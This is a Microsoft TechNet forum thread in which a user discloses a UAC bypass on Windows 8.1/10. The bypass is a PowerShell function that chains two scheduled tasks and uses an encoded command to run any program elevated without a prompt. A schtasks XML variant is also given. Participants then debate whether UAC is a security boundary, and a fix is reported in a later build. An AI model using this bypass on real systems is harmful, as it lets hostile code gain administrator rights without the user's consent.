none
UAC Bypass

    General discussion

  • PowerShell:
    function Start-UACBypass{
        [CmdletBinding()]
        [OutputType()]
        param(
            [Parameter(Mandatory,Position=1)]
            [String]$Execute,
            [Parameter(Position=2)]
            [String]$Arguments
        )
        begin{
            $TaskXml=@'
    <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
      <Triggers>
        <RegistrationTrigger>
          <EndBoundary>{0}</EndBoundary>
        </RegistrationTrigger>
      </Triggers>
      <Principals>
        <Principal>
          <UserId>{1}</UserId>
          <RunLevel>{2}</RunLevel>
          <LogonType>{3}</LogonType>
        </Principal>
      </Principals>
      <Settings>
        <WakeToRun>false</WakeToRun>
        <StartWhenAvailable>false</StartWhenAvailable>
        <AllowStartOnDemand>false</AllowStartOnDemand>
        <AllowHardTerminate>true</AllowHardTerminate>
        <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
        <RunOnlyIfIdle>false</RunOnlyIfIdle>
        <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
        <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
        <ExecutionTimeLimit>P0D</ExecutionTimeLimit>
        <Priority>5</Priority>
        <DeleteExpiredTaskAfter>P0D</DeleteExpiredTaskAfter>
      </Settings>
      <Actions>
        <Exec>
          <Command>{4}</Command>
          <Arguments>{5}</Arguments>
        </Exec>
      </Actions>
    </Task>
    '@
            $TaskService=New-Object -ComObject Schedule.Service
            $TaskService.Connect()
            $EndBoundary=[Xml.XmlConvert]::ToString((Get-Date).AddMinutes(1),[Xml.XmlDateTimeSerializationMode]::RoundtripKind)
            $UserId=[Security.SecurityElement]::Escape($TaskService.ConnectedUser)
            $SecondTask=$TaskXml-f$EndBoundary,$UserId,'HighestAvailable','InteractiveToken',[Security.SecurityElement]::Escape($Execute),[Security.SecurityElement]::Escape($Arguments)
            $Command='$TaskService=New-Object -ComObject Schedule.Service;$TaskService.Connect();$TaskService.GetFolder($null).RegisterTask($null,''{0}'',2,$null,$null,0)'-f($SecondTask-replace'''','''''')
            $FirstTask=$TaskXml-f$EndBoundary,$UserId,'LeastPrivilege','S4U','PowerShell',('-NoProfile -NonInteractive -EncodedCommand {0}'-f[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Command)))
            $TaskService.GetFolder($null).RegisterTask($null,$FirstTask,2,$null,$null,0)|Out-Null
        }
    }
    Usage:
    Start-UACBypass cmd '/k title Hello World'
    • Changed type PetSerAl Friday, August 29, 2014 3:26 PM
    • Edited by PetSerAl Wednesday, September 17, 2014 2:38 AM
    Friday, August 29, 2014 3:23 PM

All replies

  • Hi

    Do you need help with this?


    Hope this helps. Please remember to click “Mark as Answer” on the post that helps you, and to click “Unmark as Answer” if a marked post does not actually answer your question. This can be beneficial to other community members reading the thread.

    Friday, August 29, 2014 6:39 PM
  • I do not understand, why task with RunLevel=LeastPrivilege and LogonType=S4U get full admin token, making possible to elevate privilege without UAC prompt.
    Saturday, August 30, 2014 7:55 AM
  • Hi  PetSerAl,

    As the issue is specific with a Powershell skill  , you may contact Microsoft  for further assistance on this from PowerShell forum:

    http://social.technet.microsoft.com/Forums/windowsserver/en-US/home?forum=winserverpowershell

    Please revert for any clarification on this or any Windows issue. We will be glad to help you about this.

    Regards


    Wade Liu
    TechNet Community Support

    Monday, September 1, 2014 10:44 AM
  • Issue in not specific to PowerShell. PowerShell just use Task Scheduler COM API, which can be used by any other application. Tasks created thru GUI (MMC Task Scheduler snap-in) have exactly same problems.
    Monday, September 1, 2014 11:06 AM
  • Hi  PetSerAl,

    In this case, can you give some more background information about this? Besides, I want to know how the COM API is called in the PowerShell command in your post, because I am not a professional developer.

    Regards


    Wade Liu
    TechNet Community Support

    Friday, September 5, 2014 8:40 AM
  • PowerShell is uses COM API for just one task: register task XML representation. Same can be done by schtasks console utility, but work for generating this XML files have to be done by hands:

    First.xml:
    <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
      <Triggers>
        <RegistrationTrigger>
          <EndBoundary>{1}</EndBoundary>
        </RegistrationTrigger>
      </Triggers>
      <Principals>
        <Principal>
          <UserId>{2}</UserId>
          <RunLevel>LeastPrivilege</RunLevel>
          <LogonType>S4U</LogonType>
        </Principal>
      </Principals>
      <Settings>
        <WakeToRun>false</WakeToRun>
        <StartWhenAvailable>false</StartWhenAvailable>
        <AllowStartOnDemand>false</AllowStartOnDemand>
        <AllowHardTerminate>true</AllowHardTerminate>
        <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
        <RunOnlyIfIdle>false</RunOnlyIfIdle>
        <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
        <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
        <ExecutionTimeLimit>P0D</ExecutionTimeLimit>
        <Priority>5</Priority>
        <DeleteExpiredTaskAfter>P0D</DeleteExpiredTaskAfter>
      </Settings>
      <Actions>
        <Exec>
          <Command>schtasks</Command>
          <Arguments>/create /tn "" /xml "{3}\Second.xml"</Arguments>
        </Exec>
      </Actions>
    </Task>
    Second.xml:
    <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
      <Triggers>
        <RegistrationTrigger>
          <EndBoundary>{1}</EndBoundary>
        </RegistrationTrigger>
      </Triggers>
      <Principals>
        <Principal>
          <UserId>{2}</UserId>
          <RunLevel>HighestAvailable</RunLevel>
          <LogonType>InteractiveToken</LogonType>
        </Principal>
      </Principals>
      <Settings>
        <WakeToRun>false</WakeToRun>
        <StartWhenAvailable>false</StartWhenAvailable>
        <AllowStartOnDemand>false</AllowStartOnDemand>
        <AllowHardTerminate>true</AllowHardTerminate>
        <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
        <RunOnlyIfIdle>false</RunOnlyIfIdle>
        <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
        <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
        <ExecutionTimeLimit>P0D</ExecutionTimeLimit>
        <Priority>5</Priority>
        <DeleteExpiredTaskAfter>P0D</DeleteExpiredTaskAfter>
      </Settings>
      <Actions>
        <Exec>
          <Command>cmd</Command>
          <Arguments>/k title Hello World</Arguments>
        </Exec>
      </Actions>
    </Task>
    Where {1} should be replaced by some point in future (at this point task will be automatically removed). For example 2014-09-07T00:00:00. {2} should be replaced by user name. {3} should be replaced by path to Second.xml file. And you can start it all by this command:
    schtasks /create /tn "" /xml First.xml
    Saturday, September 6, 2014 6:58 PM
  • Hi  PetSerAl,

    Since COM API is a system component, I suggest to run the system file checker command to fix this.  System File Checker is a utility in Windows that allows users to scan for corruptions in Windows system files and restore corrupted files.

    You can follow it in the way below:

    http://support.microsoft.com/kb/929833

    Besides, try to disable powershell and enable powershell from the control panel to check the result.

    Regards


    Wade Liu
    TechNet Community Support

    Tuesday, September 9, 2014 10:09 AM
  • Dear Wade Liu,

    PetSerAl has demonstrated how to bypass UAC. This shows, that administrators can't keep scripts that they themselves accidentally start (or that they are tricked into starting) from elevating, setting free the full admin power. This even works if UAC is set to "always notify", by the way. You however recommend to use system file checker? You also recommend to reinstall powershell? What are you talking about, Wade Liu?

    Wednesday, September 10, 2014 10:23 PM
  • I am checked this in my current system (with latest September 9 security updates) and with clean Windows 8.1 Update 1 install inside VirtualBox.
    Thursday, September 11, 2014 4:59 AM
  • Hi  Ronald,

    I am trying to provided suggestion that relates to the system itself to fix corrupted system file if necessary, besides, I also suggest to post it at the powershell forum for further discussion.

    Regards


    Wade Liu
    TechNet Community Support

    Thursday, September 11, 2014 9:24 AM
  • Hi.

    No need to repeat it, you already wrote that. My question was "what are you talking about?" simply, because there is no connection to this thread. Have you understood what this is about? You can easily see for yourself by executing that powershell script. You can see that the contents are harmless but it shows how serious (in terms of security) this bug is.


    Thursday, September 11, 2014 9:27 AM
  • So is Microsoft interested in this security forum at all? This is a horrible bug, why wasn't it analysed and fixed by now?
    Monday, November 3, 2014 8:22 PM
  • PetSerAl, any news? Did you find any hint on why this works for win8.1 and not for win7 or win10?

    Any reaction from Microsoft?

    Monday, December 22, 2014 12:07 AM
  • For Windows 10, looks like some PowerShell changes to handling null value for string. I edited script and now it works for Windows 10.
    function Start-UACBypass{
        [CmdletBinding()]
        [OutputType()]
        param(
            [Parameter(Mandatory,Position=1)]
            [String]$Execute,
            [Parameter(Position=2)]
            [String]$Arguments
        )
        begin{
            $TaskXml=@'
    <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
      <Triggers>
        <RegistrationTrigger>
          <EndBoundary>{0}</EndBoundary>
        </RegistrationTrigger>
      </Triggers>
      <Principals>
        <Principal>
          <UserId>{1}</UserId>
          <RunLevel>{2}</RunLevel>
          <LogonType>{3}</LogonType>
        </Principal>
      </Principals>
      <Settings>
        <WakeToRun>false</WakeToRun>
        <StartWhenAvailable>false</StartWhenAvailable>
        <AllowStartOnDemand>false</AllowStartOnDemand>
        <AllowHardTerminate>true</AllowHardTerminate>
        <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
        <RunOnlyIfIdle>false</RunOnlyIfIdle>
        <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
        <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
        <ExecutionTimeLimit>P0D</ExecutionTimeLimit>
        <Priority>5</Priority>
        <DeleteExpiredTaskAfter>P0D</DeleteExpiredTaskAfter>
      </Settings>
      <Actions>
        <Exec>
          <Command>{4}</Command>
          <Arguments>{5}</Arguments>
        </Exec>
      </Actions>
    </Task>
    '@
            $TaskService=New-Object -ComObject Schedule.Service
            $TaskService.Connect()
            $EndBoundary=[Xml.XmlConvert]::ToString((Get-Date).AddMinutes(1),[Xml.XmlDateTimeSerializationMode]::RoundtripKind)
            $UserId=[Security.SecurityElement]::Escape($TaskService.ConnectedUser)
            $SecondTask=$TaskXml-f$EndBoundary,$UserId,'HighestAvailable','InteractiveToken',[Security.SecurityElement]::Escape($Execute),[Security.SecurityElement]::Escape($Arguments)
            $Command='$TaskService=New-Object -ComObject Schedule.Service;$TaskService.Connect();$TaskService.GetFolder($null).RegisterTask([guid]::NewGuid().ToString(),''{0}'',2,$null,$null,0)'-f($SecondTask-replace'''','''''')
            $FirstTask=$TaskXml-f$EndBoundary,$UserId,'LeastPrivilege','S4U','PowerShell',('-NoProfile -NonInteractive -EncodedCommand {0}'-f[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Command)))
            $TaskService.GetFolder($null).RegisterTask([guid]::NewGuid().ToString(),$FirstTask,2,$null,$null,0)|Out-Null
        }
    }
    I am not checked my script (original or edited) for Vista or Seven, so I can not even say work it or not. But if them share same misbehavior of task scheduler it should work.
    No one from Microsoft contact me.
    Monday, December 22, 2014 12:44 AM
  • Correct me if I'm wrong, you are just showing that you can run things elevated from the Task Scheduler, right?  And that you can schedule something from a privileged account via XML to run escalated without a UAC prompt?

    Windows was never designed to protect itself from its user.  In fact, just the opposite.  At the core of the design is the concept that the greatest value is derived from modifying the system.  It's only gradually been migrating away from that, sometimes more sometimes less successfully.

    Going back to prehistory, the OS architecture NT was copied from was extremely secure, but Microsoft just didn't take everything it offered, choosing instead to implement many shortcuts.  My brain cells aren't what they used to be, but I don't remember any "automatic privilege de-escalation" in VMS.  An administrator was an administrator, and you had the full power of the system.  And there was certainly not anything like "file system virtualization" or "registry virtualization".  Those things are just ridiculous hacks.

    And Ronald...  If you goad Microsoft into trying to "fix" this "security hole", they'll likely break something fundamental and it will be even harder to get work done.  Maybe you should just rest easy in the knowledge that this could be a valuable tool if you should need it.  I suggest never assuming you can rely on UAC for anything, and disassociate UAC in your mind from security entirely.  False security is worse than no security.

     

    -Noel


    Detailed how-to in my eBooks:  

    Configure The Windows 7 "To Work" Options
    Configure The Windows 8 "To Work" Options

    Monday, December 22, 2014 4:11 AM
  • I am showing that tasks with
    <RunLevel>LeastPrivilege</RunLevel>
    <LogonType>S4U</LogonType>
    
    actually run as if it was
    <RunLevel>HighestAvailable</RunLevel>
    but limited user can not just register task with
    <RunLevel>HighestAvailable</RunLevel>
    it will get access denied error. It is definitely a bug and should be fixed.
    Monday, December 22, 2014 6:26 AM
  • Just curious. Do you consider it as a kind of security vulnerability? If so, have you contacted MSRC? http://technet.microsoft.com/en-us/security/ff852094.aspx
    Monday, December 22, 2014 6:33 AM
  • I see no reason to do that, as it did not pass Definition of a Security Vulnerability.
    Monday, December 22, 2014 6:40 AM
  • Hi Noel.

    UAC has many use cases, which originate in mitigating compatibility problems when running as restricted user, but it has so many positive effects on security, it would be ridiculous not to call it security associated.The secure desktop alone is worth a lot. And for example having the option to re-authenticate (being prompted for a password again) when fulfilling administrative tasks is required in order to be certified for some military-class IT standards here in Germany - only possible with UAC. With software aware of this design flaw, the UAC is bypassed, any process started by an administrative user will be elevated without the knowledge of the admin.

    So for those who run as restricted user and use another account for administrative work, this flaw has no consequences. But for those who use UAC like it was designed for, this should be fixed.


    "you are just showing that you can run things elevated from the Task Scheduler, right" - no, for a better understanding, use Powershell ISE (not elevated), paste that code and run it. You will see that UAC is bypassed unlike with task scheduler, where UAC is only bypassed AFTER having started task scheduler elevated and created a task with high privilege option, that's the big difference and that makes it exploitable. Malware will love it.
    Monday, December 22, 2014 11:35 AM
  • Hi.

    "it did not pass Definition of a Security Vulnerability" - I wonder why it doesn't. To me, it clearly does. We have an admin in admin approval mode - without elevating, he will get access denials, he will not be able to access certain items protected by ACLs. Of course it is in the interest of the admin himself not to be able to access those without elevating, so that he will be aware when this happens and may approve that action.

    To follow microsoft's browser example on the definition site: ssl may not use plain text. And here, admins in UAC admin approval mode may not get the same results as if approval mode was off.


    Monday, December 22, 2014 12:13 PM
  • If the problem meets the definition of a vulnerability, the next question is whether it violates the product's security boundaries. Every product has a set of assumptions about how it will be used, and a set of promises it makes about the security provided when it's used properly. For instance, User Access Control (UAC) is a technology introduced with Windows Vista that provides a method of separating standard user privileges and tasks from those that require Administrator access. If a Standard User is using the system and attempts to perform an action for which the user has no authorization, a prompt from Windows appears and asks the Administrator account’s password. If an Administrator is using the system and attempts to do the same task, there is only a warning prompt. That prompt is known as a “Consent Prompt” because the administrator is only asked to agree to the action before proceeding. A weakness that would allow to bypass the “Consent Prompt” is not considered a security vulnerability, since that is not considered a security boundary.
    Monday, December 22, 2014 3:34 PM
  • Thanks for your attempt at an explanation, but I know more about UAC than you may think, Ronald.

    Do not rely on it.  It was not "designed" so much as "shoehorned in" to a system that never expected it and doesn't believe in it.  It's a poor implementation of a bad idea.

    If you want true user security, create a non-privileged user account, and set permissions so that what's needed to be accessed can be accessed.  If you want to be an administrator, be an administrator.  Trying to straddle the line and second guess what the user needs is just silly, especially if you aren't allowed to turn it off.

     

    -Noel


    Detailed how-to in my eBooks:  

    Configure The Windows 7 "To Work" Options
    Configure The Windows 8 "To Work" Options

    Tuesday, December 23, 2014 1:21 AM
  • PetSerAl, the key is that you're a member of the Administrators group and of course you're allowed to schedule a task using your user ID.  I fail to see a problem here.

    If you're expecting UAC to protect you from anything you're not doing what you need to be doing to protect yourself.  It's not a water tight security measure.  It's more like a wetsuit.

    Inviting malware into your computer then at the last possible instant trying to prevent it from doing its business all over your system isn't a viable security strategy at all.  If you're doing the right things, you should never, ever, see a UAC prompt you don't expect - thus rendering it completely useless.

    "The right things" vary, depending on usage, but at a minimum you ought to block access to sites known to send malware, deconfigure the promiscuity of the web browser to load and run anything it comes across, and (most of all) educate users to have them practice good computing habits.  These include teaching people not to run everything in sight but to thoroughly vet software before running it.  Mistrust everything!

    Security is a human problem, not a technical one.  UAC leads to a FALSE sense of security, which is MUCH WORSE than if it didn't exist at all.

    And don't tell me you think malware is less a problem now than before Vista.   

    -Noel


    Detailed how-to in my eBooks:  

    Configure The Windows 7 "To Work" Options
    Configure The Windows 8 "To Work" Options

    Tuesday, December 23, 2014 1:34 AM
  • The key it that parameter RunLevel=LeastPrivilege is ignored. So it ether the bug, then it should be fixed, ether feature, then it should be documented.


    • Edited by PetSerAl Tuesday, December 23, 2014 1:44 AM
    Tuesday, December 23, 2014 1:44 AM
  • PetSerAl, you are right, their very own definition talks about UAC bypassing not being a sec. vulnerability. Good, I had read through all the definition paragraphs, but haven't expected to find it covered at the beginning. So they would call it a weakness.

    Noel, I am on your side with everything you wrote in your last 2 comments. Nevertheless, this is something new and dangerous (to users of admin approval mode, not to users that separate their admin and user account). I have not seen many UAC bypass techniques yet and this one is surely the easiest to implement.

    Tuesday, December 23, 2014 7:32 PM
  • UAC's same-desktop elevation is not a security boundary. It is a convenience feature. From a security perspective, "protected admin" (i.e., member of the Administrators group running not elevated) and "full admin" are equivalent. Windows tries to minimize leaks like this, but there is a lot of shared surface area between the unelevated and elevated "versions" of a single user account. Even same-desktop/different-user elevation is not considered a security boundary because of the shared space in which the elevation takes place. There IS a security boundary between standard user and (admins | other users | OS config). If a standard user can gain admin rights without, for example, tricking an admin into giving up credentials, that's a bug that will be fixed. But if you are running as a member of the admins group and are expecting that any malware you run can never gain admin rights unless you explicitly approve its elevation request, you are mistaken. That has never been the case.

    BTW, UAC's file/registry virtualization was disparaged earlier in this thread. File/reg virt is a brilliant idea that enables lots of apps to run with standard user rights that required admin rights on XP and earlier.

    For more information, see Mark Russinovich's articles about UAC in TechNet Magazine.

    http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx

    http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx

    Thursday, December 25, 2014 2:43 AM
  • file/reg virt is a brilliant idea that enables lots of apps to run with standard user rights that required admin rights on XP and earlier.

    Our definitions of what's "brilliant" and what's not simply differ.

    In my universe when the OS second guesses you and does something different than what you've told it to do, that's considered bad.

    I'm also someone who's always been the full-time administrator of my computer systems, with never a downside to that.  While I understand the concept of protecting a computer system from its user, it's not something I've ever personally found any use for.

      

    -Noel


    Detailed how-to in my eBooks:  

    Configure The Windows 7 "To Work" Options
    Configure The Windows 8 "To Work" Options

    Thursday, December 25, 2014 9:46 PM
  • Aaron, you are a top Microsoft insider and security expert.

    I would expect you to answer clearly like: "yes, this is known and expected behavior" to address what initially brought this matter up: what are we seeing here? Is it a known design weakness?

    I don't expect the answer to be "it's a known weakness" because if it were, it would already be incorporated into tons of malware and become well-known pretty soon. But this is the first time I read about it and the first UAC bypass I see that is altogether easy.

    I hope to see more feedback,


    Sunday, December 28, 2014 8:24 PM
  • In the universe I spend most of my time in, users care whether the program works the way they expect it to. They don't care what happens behind the scenes. The program needs to save some settings so that they can be retrieved the next time the user runs the program, and it needs to do so without triggering an access-denied error message. File/reg virt takes care this while improving the computer's security by not insisting that you run with admin rights. You can easily disable file/reg virt for your programs just by rebuilding them in VS2008 or newer. You can also obviate the need for it by having your program write data to the correct locations in the first place. If you're writing user data to "Program Files" or HKLM, that's considered bad.

    Tuesday, January 13, 2015 12:49 AM
  • Hi Ronald - I didn't test this to verify whether it works as described and I'm not part of a team that would make an official statement about this specific issue. I'm just pointing out that there isn't a watertight security boundary between "protected admin" and "full admin". For stronger security, you should use separate user accounts in separate sessions. Also, end users should have standard user accounts, not administrative accounts.
    Tuesday, January 13, 2015 12:56 AM
  • First let me say that I fully understand how things are "supposed to be" and don't write software that abuses the system.

    However, you seem to think making things work for non-technical users by corrupting the way the operating system works behind the scenes is okay.  It's like making a video driver that's aware of the software that is using it.  Or a car that refuses to turn left sometimes even when the user turns the wheel that way.  It's a bad idea.  I was going to say "in my opinion", but I won't even concede that much.  It's so bad an idea that it's self-evident to plankton.

    In the "big picture" sense, one of the things that makes software work solidly and reliably is that the APIs it uses do well-defined, well-documented things.  Having the OS step in and sometimes choose to put data in places that were not originally intended just makes a mess that if let go gets to the point where things become unusable.

    Whose idea was it not to make the various parts of UAC configurable?  Why is there no way to deconfigure the UAC virtualization features?  Microsoft itself acknowledges that there are conditions where failure should occur (vs. magic that tries to make something work), such as when a 64 bit process tries to write to a place that's virtualized for 32 bit software.  Perhaps there are those who'd like to run a tighter ship, and who really WOULD like things to fail if the software is trying to do something not compatible with the current way of thinking.

    Let me spell it out for you:  Today we're at a point where technology often doesn't work right.  It's becoming expected.  But it doesn't have to be so, and it's this way precisely because people do things like implement magic deep inside an operating system that causes it to do something different than what was intended.

    No, my friend, no part of UAC is by any means even close to "brilliant", unless you use the term to describe the fireball that occurs when the jalopy being used by the local daredevil to jump 18 school buses reaches the end of its flight.

     

    -Noel


    Detailed how-to in my eBooks:  

    Configure The Windows 7 "To Work" Options
    Configure The Windows 8 "To Work" Options

    Tuesday, January 13, 2015 2:04 AM
  • Well. I infer from your tone that you are not open to persuasion on this topic, but I'll give it a shot anyway.

    Re making software work solidly and reliably: on its own, software frequently does not do that in the face of a changing platform, unless the platform makes some concessions. We NEEDED to make non-admin the default, and we did. That exposed a lot of bugs in a lot of programs that ASSUMED that they could put files and registry values anywhere. Failure on future platforms was not something that app developers "originally intended"; the original intent was that the program would continue to work. File/registry virtualization helps ensure that what was originally intended actually happens. If a program written for XP or earlier absolutely had to put something in a system-wide location, it should first have verified that the user had admin rights. If it had done so and displayed an error message if the user wasn't an admin, then the user would know to run the program as administrator. File/reg virtualization is disabled for admin/elevated programs.  (BTW, if you really have to, there is a UAC security option that specifically disables file/registry virtualization without changing any other aspects of UAC. I've never seen a need for doing so, though.)

    You point out that technology often doesn't work right. Without file/registry virtualization, the percentage of programs that didn't work on Vista and newer would have been VERY high, much higher than it was.

    Tuesday, January 13, 2015 3:29 AM
  • (BTW, if you really have to, there is a UAC security option that specifically disables file/registry virtualization without changing any other aspects of UAC. I've never seen a need for doing so, though.)

    Thank you.  I need to research that option; I was not aware of it before now.  It may help make UAC a bit more tolerable (though frankly we shouldn't have to tolerate it at all).  You should consider making the non-virtualization setting the default moving forward and only invoke virtualization upon a compatibility setting being chosen. 

    You're right, I'm not open to persuasion on my stand on whether UAC is even remotely a good idea.  You feel it's justified, but I feel it's screwing up the future.  Those appear to be irreconcilable differences.

    I was going to write a good bit more, but it might be taken badly, so I'll leave it at that.

     

    -Noel


    Detailed how-to in my eBooks:  

    Configure The Windows 7 "To Work" Options
    Configure The Windows 8 "To Work" Options

    Tuesday, January 13, 2015 5:08 PM
  • PetSerAl,

    some weeks ago I asked Mark Russinovich about this matter. He has replied that

    "We've decided to fix this in Windows 10, but have no plans to port the fix to older OS's."

    No further comment, so it seems it is well worth fixing, at least in future OS'.

    Tuesday, January 13, 2015 8:56 PM
  • So now it looks like they're going to "fix" this non-issue - and quite probably break something else.  Thanks in advance for some unspecified future "can't get there from here" situations with Windows 10+ as a result of it.

    By the way, I ran into yet another UAC annoyance on my Win 10 test system, on which I've begrudgingly allowed UAC to remain enabled - for now.  I am a beta tester for several applications, and lo and behold the system decided to step in and disallow me from writing the latest drop of one of them into its Program Files subfolder.  How wonderful.  Thanks bunches for that little distraction and for chewing up just a bit of my time.  Not.

    You do realize that I will never, ever visit your App Store and spend money there if I configure EnableLUA to 0, right?  So far, up to now, that's been EXACTLY my choice - like many others who need serious things out of Windows, I have disabled UAC.  But hey, there are plenty of dupes out there who'll put money in your paychecks, right?

     

    -Noel


    Detailed how-to in my eBooks:  

    Configure The Windows 7 "To Work" Options
    Configure The Windows 8 "To Work" Options

    Wednesday, January 14, 2015 11:53 PM
  • Seems to be fixed in win10 preview build 10074
    Monday, May 4, 2015 8:50 PM
  • So the day has arrived where people herald new restrictions being placed on their being able to use their computers as a "feature".

    Next, deletions of existing features will be considered stylish.  Oh wait, that already happened.

    ;-)

    -Noel


    Detailed how-to in my eBooks:  

    Configure The Windows 7 "To Work" Options
    Configure The Windows 8 "To Work" Options

    Monday, May 4, 2015 10:52 PM
  • They said the same thing when they started putting locks on car doors.  Well, someone probably did.  There's always one...
    Monday, May 4, 2015 11:00 PM
  • Aaron, it's possible you somehow think it's all about running Windows.

    It's really all about facilitating users' work.  These things are not the same.

    I've been running Win 10 in a testing environment, giving UAC the ol' college try once again - as I have done with every new OS release since Vista.  The number of irritating "can't put the shortcut there, want to put it on the desktop instead?" messages are excessive.  The pop-up messages asking for permission to do exactly what I told it to do - even though I dragged the slider all the way to the bottom - are both numerous and ridiculous.  I have better things to do than to ask you for permission to do what I want with my computer system.

    Now it's on to see how well Win 10 runs with EnableLUA set to 0.  So far, after half a day of testing, thankfully rather well.  Rest assured with that setting I will *NEVER* visit your store nor run your Metrotard Apps.

    -Noel


    Detailed how-to in my eBooks:  

    Configure The Windows 7 "To Work" Options
    Configure The Windows 8 "To Work" Options

    Tuesday, May 5, 2015 12:05 AM